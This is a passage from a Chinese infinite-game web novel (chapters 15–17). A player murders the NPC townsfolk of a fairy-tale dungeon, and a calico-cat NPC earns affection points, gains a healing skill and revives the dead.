原来，这只小猫还有这样的功效……么？ 花黎：“喵嗷~嗝！”好次！=w= 安娜送来的鱼肉烤得刚刚好，鱼皮酥，鱼肉嫩，花黎不清楚这是什么鱼，但它有着海鱼特有的鲜嫩紧实，他很快就吃完了一整盘。 个人面板里系统提示的红点闪烁，花黎顺爪打开一看，发现喜爱值涨了。 现在是172/1000。 【来自「npc安娜」的喜爱值为：72点】 【来自「玩家宋斐」的喜爱值为：15点】 宋斐的喜爱值涨了，意料之外的是从安娜这里居然也获得了喜爱值，还相当高！ 果然，他可以从副本npc那里获得喜爱值！ 如果镇上如宋斐大哥二号所说的，有97个npc的话………… 花黎一屁股坐在饭盆跟前，掰着爪爪数，他要从每个npc那里平均获得多少喜爱值才能通关。 …… 这一晚，洛书亦跟纪铭在焦灼恐慌中度过，人在极度惊恐中根本无法入睡，他们回到自己的房间后，随时警惕着外面的动静，关注着楼下安娜的情况，失眠了一整晚。 但这一晚，安娜什么也没有做，也没有发出任何声响。 两人唯一听到的动静，是深夜从隔壁程凡房间发出的。程凡似乎半夜推门离开了自己的房间下了楼，这一趟离开，一直过了三四个小时才重新回来。 刻意放轻了、但依然能辨认出是程凡的拖沓脚步声缓慢上楼，移动到他自己的房间门口，洛书亦鼻子动了动，瞪大了眼看向纪铭。 做口型：血腥味。 两个高中生僵立当场，冷汗再次下来了。 第二天，洛书亦跟纪铭一大早就顶着偌大的黑眼圈冲进宋斐的房间，打算告知他程凡的不对劲。 宋斐的房门胆大包天地没有锁，被两个惊魂未定的高中生倏地推开。房间很小，宋斐的那张单人床就正对着门口，于是两个高中生尴尬地看见他们的宋斐哥裸着上半身迷迷糊糊从床上坐起，身上流畅又不夸张的肌肉线条让人十分叹服。 就是不知道为什么，宋斐搂在怀里的三花猫一直垂着小脑袋，一脸不想见任何人的样子。 洛书亦跟纪铭将昨晚程凡的动静告知了宋斐。 男人只言简意赅地：“我知道。” “你……你知道？宋斐哥你果然也听见了对吧！” “嗯。”宋斐随手把落在额前的头发抹向脑后，低头看了眼正对着自己的腹肌面肌思过的小猫——小家伙不知为何蔫蔫的，他便安抚地摸了一把。 宋斐抬头，用一种仿佛“程凡昨晚出去做了个足疗”的口吻道，“他昨晚杀了个人。” 洛书亦&纪铭：！！！ “尸体应该带回来了，我猜就在这个房子的后院或者地下室的什么地方藏着。” 洛书亦&纪铭：！！！！！ 这次就连一直垂着头的小猫都呆呆地仰头看着宋斐。 宋斐便掐了一把小猫耳朵，耳朵尖上的聪明毛随着他的动作晃了两晃。 “这几天，先不要轻举妄动。”宋斐从床上起了身，身上毛茸茸的小家伙缓慢地滑了下去，在床上变成扁扁的一滩。 “——既然有人先做了这个靶子，那就静观其变。” “不……不会有危险么？”洛书亦有点害怕。 “不会。”宋斐笃定地，“就算有，危险的也另有其人。” 果然如宋斐所说，接下来的几天，他们四人仍逗留在安娜的房子里，安娜也照旧每天都会持续一整个下午令人毛骨悚然的剁肉。 但就如宋斐所说的，一切风平浪静。 唯一不平静的，反倒是他们这个小队的成员。 这几天程凡跟其他三人的交流越来越少，每天晚上，洛书亦跟纪铭都能听见程凡离开又回来的声音，而且随着事情做得愈发驾轻就熟、也随着这几天的平静，程凡半夜的动静越来越大，显得越来越有恃无恐。 他每天晚上都会出去杀人，然后将尸体藏在安娜家的地窖内。 尸体越来越多，大家就连吃饭的时候都能闻到那股浓郁的血腥气。 安娜仍然微笑，仿佛什么也没有发现。 . 游戏之外的赌坊内，【程凡单通】的赔率已经降到了底。 游戏大厅的玩家跟游戏内的几人不一样，他们可以清晰地看到程凡每晚杀人的过程——他越杀越多、越杀越狠，越杀越享受其中。 “是个狠人。没准这家伙，真的能单通。” “sss级没人能通关的魔咒终于要被打破了！” “爽！牛逼！加油程凡，老子所有钱可都赌你身上了！” …… 李沛南刚从一个普通c级副本出来，他受了点轻伤，问题不大，在游戏大厅内的便宜医疗处进行了简单包扎，就坐在广场上跟大家一起看大屏。 见到程凡如此风光的模样，他只觉得自己的肾上腺素也跟着飙升了。 按照之前他下注时的赔率，等程凡真的单通成功，他至少能赚到60万游戏币！ 资本的原始积累，就是这么简单。 李沛南扬起嘴角。 这个世界，可真是比原来的地球好多了，也适合他多了。 15、第十五章 程凡的杀人计划进行得异常顺利。 又是一个安宁静谧的夜晚，整个童话镇都陷入了睡眠。程凡轻车熟路地撬开某幢尖顶红房子的简陋门锁，潜入房内，上二楼找到镇民的卧室。 他将那把花了大价钱在商城买的刀紧紧攥在手里，推开卧室门，听着男人平稳的鼾声，手起刀落—— 杀了这个年轻男人后，程凡的眼睛似乎都被鲜血染得猩红，他哼笑一声，退出房间，又潜入了隔壁另一间卧室。 隔壁卧室睡的是男人的妻子跟孩子，同样都陷入了深度睡眠之中，程凡连看都没有多看一眼，就将刀刺入了女人的心脏。 女人的身体随着刀刀身没入，弹跳了一下，然后就毫无反应了。 视线转到那个熟睡的孩子身上，小孩侧身半趴在女人身边，正在睡梦中吸吮手指。程凡略微犹豫了一下，仍是手起刀落，送这孩子去陪他的父母了。 在最初做这件事的时候，他还有少许的心慌恐惧，但现在这么多天过去，一切进行得无比顺利，想到人鱼的承诺，想到自己在通关后会得到的巨量积分和财富…… 他就像一辆油门已经踩到了底的越野车，已经刹不住闸了。 没错，这些人不过是游戏里的npc罢了。 这个无限游戏，跟他以前通宵在网吧玩的网游没有任何区别，杀人，杀怪，掠夺——这就是游戏的意义！ 距离人鱼说的五天后只剩下明天最后一天，他动作必须加快，反正这些npc好杀得很。 这一晚，程凡没有睡觉，一整晚都在镇上杀npc，然后再将尸体运回安娜的房子里。 安娜的房子有一个大到堪比医院停尸房的地窖，足够他堆放这些尸体。 程凡清点着自己到目前为止的成果，一具，两具，三具……他已经收集了足足76具尸体了，轻而易举。 剩下的明天再继续。 经过这几天，他也发现了这个镇子的特点，推算出了镇上一共大约只有九十几人。要想完成任务，他势必还是得杀了他的那几个队友。 那就杀。 他就不信了，那只莫名其妙的猫能运气好拦他一次，难道还能拦第二次、第三次？ 归根结底，不过是只猫而已。 第二天一早，大家如常醒来，安娜的家里已经随处可以闻到令人难以忍受的尸体腐臭味。 客房里因为燃烧了蜡烛，动物油脂燃烧的味道些许盖过了这股腐臭，以至于身体娇弱的洛书亦早上一推开房门，差点当场被外面的气味熏得吐出来。 宋斐随后也推门出来，他手里抱着猫，小家伙皱着鼻子，粉色小舌头秃噜了出来：“yue——！” “……” 宋斐安抚性地摸了摸小猫脑袋。 这顿早餐谁也吃不进去，只有安娜跟程凡本人吃得香。。 程凡整个人沉浸在有望成为全游第一个通关sss级副本的大神的喜悦之中，这股尸臭就像胜利的旗帜般，格外令他上头。 早餐吃了半个小时，这半个小时之内，程凡的目光频频瞟向安娜。 安娜似乎什么也没有察觉到，埋头切盘子里硬硬的黑麦面包。 一楼客厅的窗户全都打开着，仍带不走那一阵一阵飘来的、浓烈的腐臭味。 最先忍受不了的是身体最弱的洛书亦，他盘子里的面包跟火腿只吃了一点边边角角，牛奶更是一口没动。 安娜听见洛书亦推椅子站起，抬头，微笑：“早餐不合口味吗？” “……”洛书亦的精神状态已经逐渐癫了，寻思你们北欧人真的牛，能就着尸臭吃这又酸又硬堪比石墩儿的面包，这能合口味么…… 嘴里说出来的话却很怂，“没……没有……很美味。我就是今天没什么胃口，我……我出去散散步吧。” 他话音未落，又一股剧烈的尸臭飘到鼻尖，洛书亦半张着嘴，上半身不可抑制地抽动了两下，当场“哇”的一声就吐了出来！ 边吐边惊恐地道歉，“对……对不起……我不是……呕——故意的——” 本来就吃得味同嚼蜡的纪铭这下也愈发难以下咽了，匆匆抹了把嘴，拿了抹布将地上的呕吐物清理干净，然后也再忍受不了一阵强过一阵的尸臭，拉着洛书亦跑了出去。 除了程凡外，只有宋斐慢吞吞地吃完了早餐。 小小三花猫在桌子的另一头吃他的罐罐，恹恹地舔了两口，朝宋斐娇娇地：“喵……”咪……要被……臭晕了…… 宋斐长臂一伸，捞过小猫，起身出门。 花黎窝在宋斐的臂弯里，将小脸埋进男人的肘间，试图物理隔绝那股气味。 小猫并没有意识到自己下意识依赖的行为，就像家养的小猫，在感受到威胁和陌生时，会向亲近的两脚兽寻求安全感。 他只是觉得宋斐身上淡淡的草木香气很好闻。 三人一猫在安娜家的后门外汇合了，屋外的空气还是很清新的，带着海风的一点盐味，花黎从宋斐胳膊肘里掏出了自己的脑袋。 洛书亦灰白着脸扶着墙，在抹嘴，明显是刚吐完。 见宋斐来了，洛书亦身边的纪铭抢先道：“再让程凡这么杀下去，他迟早会来杀我们吧。为了完成那个人鱼的要求——宋斐哥，我们要继续这样……坐以待毙吗？” “不急。”宋斐老神在在。 怎么可能不急呢？ 两个高中生脸上尽是忧虑焦灼之色，但他们也不敢指挥宋斐做事——这个男人气场太强了。 “喵嗷嗷嗷——” 三花猫挣扎着从宋斐怀里爬出来，团子似的小身体有些许笨拙地跳到了地上，瞪着大眼睛对宋斐嗷嗷叫。 花黎：我急啊！qwq 他的喜爱值还差足足八百多点，要通关这个副本拿到他的kpi就必须得攒够喜爱值，好不容易发现npc的喜爱值也作数，结果一转头镇上的人都被程凡杀了，他还上哪赚喜爱值去呀！ 不行，此事刻不容缓！喵！ “喵咪咪！”现在就必须开干！ 小猫两只前爪在地上认真地搓着，主打一个摩拳擦掌的气势。 他招呼宋斐等三人：“喵咪。”跟着我走，我保护你们。莫慌。 宋斐：…… 洛书亦&纪铭：？ 花黎眼中的自己是在危险的枪林弹雨中一撩风衣，深沉回眸的可靠大哥。 殊不知在那三人眼中，只看到一只浑圆的毛团子垮着个小猫批脸，嗲声嗲气回头嚎了一声。 洛书亦顾不上自己刚吐完还虚弱得很，在背包里翻箱倒柜摸出一根火腿肠，小心翼翼地：“这个你吃么宝宝？鱼肉肠哦。” 花黎：…… 半晌，宋斐才道：“她不是饿了，她是在让我们跟着她走。” “咦？”洛书亦愣愣抬头，手上剥了一半的火腿肠已经递到了小猫的鼻尖，小猫果然只是鼻子动动闻了闻，就嘴里叽里咕噜骂骂咧咧地走开了。 “听她的吧。”宋斐垂眸，俯视脚下已经窜出去几米的小猫，“能拿出高级防护罩护住你们的猫，总会有些过人之处吧。” 童话镇上安静得出奇。 渔民照旧出海捕鱼，但海边的渔民明显比他们第一天登陆的时候少了许多。 道路上的行人也稀稀落落，走出去两三百米都不见得能看见一个人。市集上大多数摊子都空置了，只有零星几个出摊的。 “npc都被程凡杀得差不多了。”宋斐不带任何感情色彩地点评。 这些npc似乎对自己的亲朋好友邻居同事的消失毫无所察，他们都跟那天的几个渔民一样，神情呆板空洞，动作缓慢而机械。 整个镇子都弥漫着一股死气。 “21个。” 宋斐冷不丁道。 “啊？什么？”洛书亦有点懵。 “镇上还活着的npc。” “那就是说……程凡已经杀了76个了……？宋斐哥，你怎么看出来的？说不定还有npc在家睡觉呢……” “我这几天观察过。每天早上的同一个时间会有几个相同的npc从安娜家门口经过，附近的店铺每天同样的点开门同样的点关门，这些人npc里，如果有人死了，就是他自己的行动路径消失，其他人一切照旧。 “比如第一天早上有一对情侣在院子后门汇合，第三天男方没来，但女方照旧在那等了五分钟然后在前两天男方会出现的时间走了。” 洛书亦跟纪铭的嘴越张越大。 宋斐总结：“这个副本就像已经写好所有程序的单机游戏，所有npc都只会照固定轨迹行动。而且每个npc都有班上，小孩子也要上学，不存在躺在家里什么也不干的闲人。只要看一遍在外的人数，就能推算出死亡人数。” 这一切看似合理极了，但正因为太过合理，反而显得极其的不合理。 就连模拟人生都有家里蹲的赚不到钱的小说家，一个正常小社会怎么可能人人都有班上。 这也就更加佐证了，这是一个虚假的镇子，这里的“人”，都是虚假的人。 但是小猫咪是不会管这么多的。 花黎猫猫祟祟地走进市集中。 市集上的npc们木讷地低头理货或抬头售卖，刚刚宋斐等人过来时无一人关注他们，却在小猫深入市集后，一个个放下手上的事务，目光缓慢地落到小猫身上。 “喵~~~” 花黎瞧见面前一个卖海胆的小哥盯着他看，有点害羞，但依旧很友好地打了个招呼。 大家都是npc，四舍五入也是同事。 跟同事要保持友好~ 如果同事愿意给他一点喜爱值，就更好了喵。 小哥眼窝凹陷，眼神阴郁，生了一个尖尖的鹰钩鼻。那双凹陷无神的眼睛一直一瞬不瞬地紧盯着花黎，看上去极有压迫感。 花黎稍微害怕了几秒，但很快就把小腰板挺直了，大尾巴在身后轻轻摇晃。 咪不怕怪物。 咪自己就是怪物。 咪得同事都是看上去很厉害的怪物，出去打一次工都要粘上很多人命那种。 咪一点都不害怕。 “咪！”不！害！怕！ 市集陷入了诡异的静默，仿佛就连海风都停止吹拂了，默片一样。 片刻后，一只黑色刺挠挠的大海胆出现在了花黎的面前。 海胆下是阴郁小哥苍白发青的手。 “咪？” 小猫不解，小猫眨巴着眼睛抬头。 小哥深凹的眼睛眯成了两道弯弯的缝，那海胆沿着中间被撬开的缝裂开，露出内里黄澄澄软嫩嫩的海胆肉，鲜香扑鼻而来！ “可爱的小猫就要吃最嫩的海胆，我的海胆，是最有营养的哦。” 同时，系统提示又冒了出来。 【喜爱值进度更新：272/1000】 【来自「npc海胆小哥哥」的喜爱值为：100点】 咪！！！ 100点！！！ 他什么都没有做，只是对着这个卖海胆的小哥喵了一声而已啊！就收获了满点的喜爱值！！！ 猫猫震惊，花黎整只猫都傻住了，而海胆小哥细心地将坚硬的海胆壳一整个剥出，把海胆肉送至花黎嘴边，鲜嫩q弹，小猫条件反射地伸出舌头舔舔。 花黎屈服于小猫本能，埋头品味海胆，没注意又一条系统提示跳了出来。 【被动技能激活成功：「怪物诱捕机」】 【技能介绍：怪物界的合欢宗，魅魔中的魅魔，只要技能持有者希望，所有c级及以下的怪物都将瞬间为你着迷。】 呼噜噜噜噜—— 好次。 16、第十六章 等花黎吃完了那一整颗海胆，把嘴边沾的一点黄黄的渍舔干净，这才注意到自己的个人面板信息有更新。 综合战斗水平还是f，评级也依然是【幼稚园级】，但原本填着【无】的特殊能力那一栏，现在变了。 【特殊能力：怪物诱捕机】 花黎：“嘎喵？”什么东西？ 于是他虚心阅读了这项被动特殊技能的介绍，看完后第一反应是【魅魔？谁？咪吗？】 第二反应：【咪的喜爱值有救了！】 小猫试探性地在市集上转了一圈。 一圈转完，花黎收获了：【油炸小鱼干x20】，【粉色毛线小围巾x1】，【可爱蝴蝶结x2】，【蟹肉丸子x5】，【三文鱼肉x2】…… 出发前淑贞跟阿尔伯特给他带的干粮跟罐头也不知道猴年马月能吃完，他似乎每天都在被各种人和怪物投喂。 最后三花猫打着嗝，挺着圆滚滚的肚皮，颓废地靠着马路牙子变成了一小滩。 他真的，一滴都吃不下了…… 仅仅只是溜达了这么一圈，花黎的喜爱值就飞速增长到了972/1000，几乎每一个跟他有所互动的npc都贡献了100喜爱值。 当真是得来全不费工夫呢…… 宋斐等三人在市集上买了些东西，这里的摊贩除了售卖海产品外，也有个别卖药品跟道具的，价格比商城里便宜不少，是洛书亦跟纪铭这种底层玩家也能买得起的水平。 洛书亦一边将买来的低级防护罩放进背包，一边苦笑：“但愿这些东西能保护我们在这个本里活得久点吧。” 宋斐倒是没买药品和道具，男人十分特立独行地买了好些海鲜，放进盒子里冷冻起来放入背包。 “宋斐哥，你买这些干嘛？背包是有负重上限的啊，还是买点有用的东西比较好吧。”纪铭好心提醒道。 “有用。”宋斐说。 “？什么用？” “喂猫。”只见身着黑色工字背心、肩宽腿长的大帅哥淡淡瞥了一眼地上躺尸的三花猫，“她似乎挺喜欢。” 花黎也听见了宋斐的话，小猫两只前爪下意识地隔空踩起奶，感动于宋斐大哥二号的体贴入微。 然而转念一想，爪爪又不动了——就连刚认识的npc都能迅速拉满喜爱值，但唯有宋斐大哥二号，他们同吃同睡了好几天了，喜爱值才只有可怜的15点。 多么难以取悦的人啊。咪=皿= 这一点跟他亲大哥一点儿都不一样。他大哥是这个世界上最好最好最好的人。 花黎打了个不满的小呼噜，扁扁地扭过了头去。 他已经不是人类了，他是小猫。 小猫总是会有一点小脾气的。 几人采购完毕后，一看时间，差不多也该到安娜家平时吃午饭的点了，他们便折返回去。 宋斐轻车熟路地抄起了地上不知道为什么气得扁扁的猫：“你怎么了？” 花黎不吭声，继续把脑袋窝在宋斐胳膊肘里，拒绝眼神交流。 男人就把他的小脑袋挖出来，两根手指抵着小猫下巴，强行对视。 花黎的小尖牙咬了他一口。 宋斐：“……？” 小猫气哼哼地跳下他的臂弯，因为太高，落地时喉咙里发出“嘤”的一声。 但坚决不回头跟他对视。 宋斐不知道小家伙在气些什么，因为某些原因，他的情感体验很难像普通人那样完整。 只是宋斐没有想到，第一个让他禁不住想要探究其情绪的……居然是一只游戏里的三花猫？ 安娜家屋顶的烟囱冒着白烟，在屋外都能闻到烤鱼跟肉汤的香味。然而一推开大门，那股令人作呕的尸体腐败的气味就又扑鼻而来。 除此以外，还有浓重的血腥气。 安娜居然不在客厅，平常每天的这个时候，这个年轻女孩一定是在餐桌前忙前忙后布置午餐的。 烤好的鱼跟炖好的汤被随意放在壁炉旁边，似乎没来得及端上桌。 花黎粉色的小鼻子动了动，顺着那股血腥气往前走，灵活爬上楼，然后差点被楼梯顶上的一个东西绊了一跤。 鲜血顺着楼梯一阶阶流淌而下，已经凝固，变成了暗红色。 花黎右前爪上淡粉色的肉垫被泅成了红色，小猫低头对着地上横陈的尸体发怔。 宋斐等三人很快也赶了上来，洛书亦低头看清脚下的景象，发出了一声短促的尖叫。 白金色的长发铺散了一地，蓝眼睛瞳孔放大涣散，胸部已经没有了起伏，右侧心脏的位置一个血洞。 是安娜的尸体。 花黎舔了舔自己的爪爪，舔出了一嘴的铁锈味。 “吱呀”一声，木门被推开的声响。 脚步声，像喝醉了的人，沉重，凌乱，由远及近。 小猫的视野范围很低，一双沾满了鲜血的裤腿出现在花黎的视线中，他抬起头，只见程凡手里拿着刀，出现在了安娜的尸体前方，此刻正一瞬不瞬地盯着宋斐等三人。 就像守株待兔已久的猎户，终于等到了他活蹦乱跳的晚餐。 仿佛注意到了小猫在看他，程凡的视线缓缓下移，落在三花猫的身上，他忽然哼笑一声：“你这只猫，这次别再来碍老子的事了。” 说完，不等他们反应，程凡劈手就举刀向着小猫砍下来，动作极快。 这货显然是吃了能量增幅药剂——用玩家的话说，就是给自己加了buff。 加了buff的程凡连看上去实力不俗的安娜都能杀死，别说花黎这么一只战斗能力f级的小卡拉米了，花黎慌张地想要再拿阿尔伯特给的防护罩抵挡，但这次程凡太快了，他的罩子还没施展开就被刀光打了下去。 花黎：“咪！！” 完了完了完了完了—— 这可比进入游戏之前被程凡揍要危险多了，小猫一身毛都炸了起来，两只前爪抱住脑袋，想把自己团吧团吧从楼梯上滚下去以躲避。 但他还没开始往下滚，就听见前面的程凡发出了一声嘶哑的惨嚎。 “咪？” 小猫懵懵抬头，然后被吓了一跳。 只见程凡整个人瘫倒在走廊对面的墙壁上，身体一半在墙上一半在地上，被折成了90度。 宋斐的手抵着墙，一只脚踩着程凡的腿，另一只脚结结实实踩在他脸上。 “啊啊啊啊啊啊啊啊啊——” 程凡发出杀猪般的惨叫！ 宋斐面无表情俯视着程凡，脚在程凡的脸上用力碾了好几下。 “啊啊啊啊啊啊啊啊啊啊啊——！你……你他妈……啊啊啊啊你他妈……干什*……%（&……%#@%）” 男人碾了好几下，才悠悠然放下脚，程凡顶着一张肿成猪八戒的脸，鼻血蜿蜒流下，像见鬼一样瞪着宋斐。 宋斐似乎犹不解气，直起身时，另一只脚狠狠在程凡裆部踹了一脚。 “！！！！” 程凡的脸瞬间变成了酱茄子色。 “你他妈……你他妈不是……c级——你也……嗑药了……啊……？”程凡捂着裆，蜷成了一个茄子色的虾球，从牙缝里挤出这句话。 宋斐淡淡道：“对付你，c级有什么不够的。” 还站在楼梯口的洛书亦跟纪铭目瞪口呆地看着眼前这番场景——他们是知道宋斐哥是个靠谱人，但不知道他的战斗力这么强啊？！ 这这这……这是跟他们一样的c级？！ 是不是他们对【c级】有什么误解……？ . “我靠靠靠靠靠靠！这个宋斐牛逼啊！！！” “程凡刚才磕了全增长小药了，那个安娜那么难杀，他都能杀掉，他特么是做好万全准备进这个本的！这个宋斐到底是怎么办到的？！！！” “恐怖啊！有人能看分析出他的数值不？？？” “分析不出来，资料太少了。而且他不是c级么？那就算卡着数值上限，面板也不会多漂亮的，会不会是运气好？” “不好说哦。” “这也算英雄救猫了？话说这只猫到底还有没有什么用啊？一个动物npc一直跟着玩家队伍，用处就是掏防护罩吗？感觉有点鸡肋啊。” …… 广场上的吃瓜群众讨论得如火如荼，殊不知赌坊内，在经过刚才这一番械斗后，【宋斐单通】的赔率悄无声息地降了一些。 这个一直默默无闻的玩家，终于引起了一些外界的关注。 而在程凡身上赌上了自己全副身家的李沛南，对着大屏幕，捏紧了拳头，狠狠咒骂了一声。 “废物！” . 童话镇副本内，程凡双眼猩红地在地上躺了许久，看着程凡抱起那只该死的猫，上下检查确认。 ……打不过。 程凡拥有多年的打架斗殴经验，评估后得出了这么个让他咬碎牙齿的结论。 脸上的伤疼得钻心……但那也没有身下的剧痛那么令他耻辱！ 程凡狠狠在心里给宋斐记了一笔，最后连滚带爬地跑了。 他咬咬牙——镇上还剩了二十多个人，这几天他已经发现了，童话镇的这些“镇民”们，杀起来就跟砍瓜切菜一样，等他先把那些npc解决了再说。 安娜房子内血腥味混合着尸臭，在程凡跑出去后，宋斐等人也随之离开了。 他们在安娜家门口的花圃里待着，宋斐把小猫咪四脚朝天地按在地上，小猫嗷嗷嗷地挥舞着爪爪，然而抗议无效。 花黎在地上躺着，挣扎，然后就感觉到一直冰凉的大手将自己的下巴往上抬了抬。 那只手捻着他脖子上的长毛，拨开毛发，一点一点仔细检查。 他刚才被程凡攻击的时候有点急，自己的爪子好像薅下了自己脖子底下的一点毛。 此刻宋斐就在顺着他那点秃掉的脖子毛，轻柔地抚摸他的下巴和脖子。 很舒服。 花黎眯起了眼睛，原本抗拒挣扎的动作也放松下来，在地上摊成猫饼，任宋斐呼噜。 他听到男人低沉如弦音的声音，就在耳畔。 “呼噜呼噜毛，疼不着。” 0.0 小三花眯起的眼睛愣愣地睁开，呆呆看着宋斐。 他记得当年他刚认识他大哥的时候，他大哥因为太过特立独行，被学校的校霸团体盯上了。而花黎整天跟在大哥旁边端茶递水，很理所当然地被视作了他的马仔。 他们两人某天放学的时候被拦在学校后门口，当时对面有三十多个人，而他们这边只有他大哥宋斐和花黎这个战斗力约等于0的小白斩鸡。 可他大哥一点没带怕的，把书包扔给花黎，就1v30+，把那帮子人揍得哭爹喊娘。 当然，大哥也免不了受了一点轻伤——他的眼角被划了一个小口子。 花黎看到大哥眼睛流血，吓人得很，当场抱着大哥哭得稀里哗啦。 他自己被人揍都从来没那么伤心过。 当时他大哥十分无语，问他哭什么，花黎抱着大哥的书包，拉链还没拉好，里面的零食跟电子产品呼啦啦掉了一地。 花黎大脑有点当机，只能扶着大哥往校医室走，一边抽抽噎噎，一边勉强回忆一点安慰伤员的话。 最后顶着一对肿眼泡，扒拉着大哥的肩膀，哭唧唧地rua了一把大哥短短的寸头：“呼噜呼噜毛，疼不着。” 这是记忆里，小时候他生病发烧打针的时候，妈妈安慰他的话。 花黎正陷入回忆，忽然听到【叮】的一声。 新的系统提示。 【任务状态更新：当前喜爱值1000/1000，恭喜「怪物npc花黎」完成副本任务】 【「怪物npc花黎」获得游戏积分1000000点】 【「怪物npc花黎」获得特殊技能：天使之心】 17、第十七章 最后填满了任务进度条的喜爱值来自宋斐，花黎飞快地看了他的宋斐大哥二号一眼，决定以后都不要跟他生气了。 感谢宋斐大哥二号助力他完成kpi！等从这个副本出去以后，他就可以拿积分换游戏币然后买道具找他真正的大哥了！ 花黎沉浸在突如其来的开心之中，短暂忘记了刚刚宋斐大哥二号跟大哥一号的那点共通点。 随后他的注意力就转移到了新出现的技能上。 天使之心？这是什么？ 花黎摊在地上，呈大字型，再没了压力，舒舒服服地打开自己的系统面板研究。 【特殊技能：天使之心】 【技能介绍：来自大天使加百列的祝福，如同万物初始之风，治愈一切伤痛，抚平旧的伤疤，带来新的希望。】 【当前技能等级：lv1-膝盖擦破了一点油皮可以将其复原的水平】 【使用方法：心中默念即可】 这看上去像是治愈系的技能，使用起来大约就跟游戏内的药品类似？ 不过只能治愈膝盖擦伤……好像只有商城里最最最低级的便宜药水的水平呢=口= 花黎注意到【天使之心】这个技能也被加入进了自己的【特殊能力】栏中，跟在【怪物诱捕机】之后。 花黎试探着抬起一只爪爪放在自己的胸口毛上，在心中默念：【天使之心】。 胸口缺掉的那一撮白毛毛，肉眼可见地迅速生长了起来。 两秒后，他就重新变成丰神俊朗油光水滑的小猫了！ 花黎有点开心。 【系统提示：特殊技能「天使之心」熟练度增加10点，等级提升。】 【当前技能等级：lv3-能够瞬间治愈相对轻度的外科和内科伤病，不会被骂庸医的水平】 “嘶——好疼！” 后方忽然传来洛书亦压抑的痛呼，花黎把自己这张猫猫饼从地上拾掇起来，来到洛书亦旁边，他才发现他的老同学额头上破了个大口子，血流了半张脸，看着怪吓人的。 大约是刚才在跟程凡的对峙中碰到哪里，受伤了。 纪铭正拿着药品想往洛书亦脑袋上喷，花黎连忙按下纪铭的手：“喵呜~”我来~ 他顾不上纪铭跟洛书亦疑惑的眼神，抬起爪爪，搭在洛书亦额头上，再次默念：【天使之心】。 一道温润的白光在猫爪爪下亮起，洛书亦跟纪铭震惊地看着那道光。 更震惊的是，下一秒，洛书亦的额头就恢复得光洁如初！ “我去……小家伙，你还有这种本事呢……”纪铭喃喃着。 花黎没回答，他又在忙着看系统提示。 【系统提示：特殊技能「天使之心」熟练度增加50点，等级提升。】 【当前技能等级：lv5-能够瞬间治愈中等程度的外科和内科伤病，会被规培生惊叹「大佬好牛逼！」的水平】 小猫沉默，小猫好奇，小猫抬爪深沉地抚摸自己的下巴。 似乎不同于之前那个被动技能，这个治疗技能是可以不断升级的，而且目前来看，升得快且无痛。 如果再提一提，能提升到什么水平捏？ 花黎做了这么久f级废柴npc，好不容易得了一个看上去有点用处的技能，不由地开始猫猫欲试。 他虽然没怎么玩过游戏，但看目前这个升级状态也大概能猜到，后面要再升级需要的熟练度想必会越来越多。如果只是再这样小打小闹治一点擦伤，恐怕是不太够的。 治愈技能，不用说，在这个游戏里应该还是很有用的，应该要升到越高越好吧！ 花黎想要靠自己！ 一旁的宋斐定定看着忽然活跃起来的小猫，面上闪过一丝沉吟之色。 三花猫灵活地跳起，四脚并用跑回了安娜家，宋斐想跟上去看看，却被纪铭拉住了。 “宋斐哥，程凡估计是去镇上杀人了，在这样下去可能他真就单人通关了。我怕他通关的话会对我们不利。” 宋斐道：“人鱼要的是一百具尸体，他最多只能凑到97具，通不了关。” “这……” 纪铭咽了一口口水，看来宋斐哥对他们三人的生存能力很有自信…… 不过想想刚才宋斐电光火石间的战斗反应，或许，他确实有自信的资本。 …… 花黎想到了一个绝妙的点子。 既然升级治愈技能需要靠治疗伤员来提高熟练度，那么简直没有一个地方，比安娜家更适合用来升级了。 这里可是有足足七十多位大体老师。 花黎顺着楼梯下往地窖，地窖内阴暗潮湿，那股扑鼻的恶臭更加明显。 安娜家的地窖内没有别的东西，只有十余个水泥砌成的大缸。花黎就算用两条后腿撑起身体站直成长长一条猫条，也只有这些大缸的六分之一那么高。 小小三花猫观望了一圈，跳上窗台，再经由窗台跳到其中一口大缸的口头。 探出脑袋往大缸里一看—— “哕——” 小猫被恶心得粉色小舌头都挂出来一节。 花黎强忍着他作为人类看到堆积在一起的同类尸体的不适，颤巍巍地挂在大缸边，抬起爪爪，虚虚悬浮于缸口上。 在心中默念：【天使之心】。 柔和的、温润的、仿佛能将所有黎明之前的黑暗都驱散殆尽的白光从小猫爪爪下亮起，映亮了整个漆黑阴森的大缸内部。 技能释放完毕，花黎等了一会儿，没有什么反应。 果然以他现在的水平，要想把这些npc复活是不可能的呢喵—— 就在小猫叹气的时候，系统提示音忽然叮叮叮叮地响个不停！ 【系统提示：特殊技能「天使之心」熟练度增加70点。】 【系统提示：特殊技能「天使之心」熟练度增加80点，等级提升。】 【系统提示：特殊技能「天使之心」熟练度增加60点。】 【系统提示：特殊技能「天使之心」熟练度增加95点，等级提升。】 【系统提示：特殊技能「天使之心」熟练度增加55点。】 【系统提示：特殊技能「天使之心」熟练度增加110点，等级提升。】 …… 【当前技能等级：lv27-一挥手就是回春圣手，略施小计就能重现医学奇迹】 花黎：“……喵。”我这么厉害的啊。 这个大缸里堆叠的几具尸体倒是的确尸斑都淡了不少，缸内很黑，但小猫的夜视能力很强，花黎能看清这些npc现在就像睡着了一样。 那股尸体的腐臭味也淡了很多。 于是小猫又这么如法炮制，从一口缸跳上另一口，一个一个施展。 一道道白光亮起，系统的叮叮声不绝于耳。 等到所有的大体老师都治愈完毕，【天使之心】的等级已经提升到了50级。 【lv50-活死人，肉白骨，能够瞬间复活c级及以下怪物，或者短时间内治愈b级及以下怪物和人类的致命伤】 小猫对着新鲜出炉的厉害技能心花怒放，没注意每一口大缸里都发出了窸窸窣窣的声音。 原本已经死得透透的npc们，一个一个从大缸中挣扎着爬起。 他们的身上莫说尸斑，就连一丝伤痕也无。 花黎抬头间看到此番景象，愣了愣。 小猫发现自己被一堆童话镇镇民们围在中间，这些npc们先是歪着头盯着小猫看了一会儿，随后弯起眼睛，每一个npc，无论男女老幼，都露出了类似刚才市集上的海胆小哥哥的慈爱神情。 然后他们又集体跪伏在地。 花黎：“嘎喵？！”=口=何故行此大礼！ npc们跪下后便对着花黎砰砰砰地嗑响头，如此具有东亚特色的行礼方式被一群金发碧眼或棕发绿眼的npc用起来显得有几分违和。 他们一边磕头，口中一边还念念有词。 仔细听，是类似安娜平时餐前祷告的祷词。 “感谢神明赐我新生，感谢今天的太阳重新升起，感恩可爱的小猫咪。今日祭礼，尊奉吾主。” 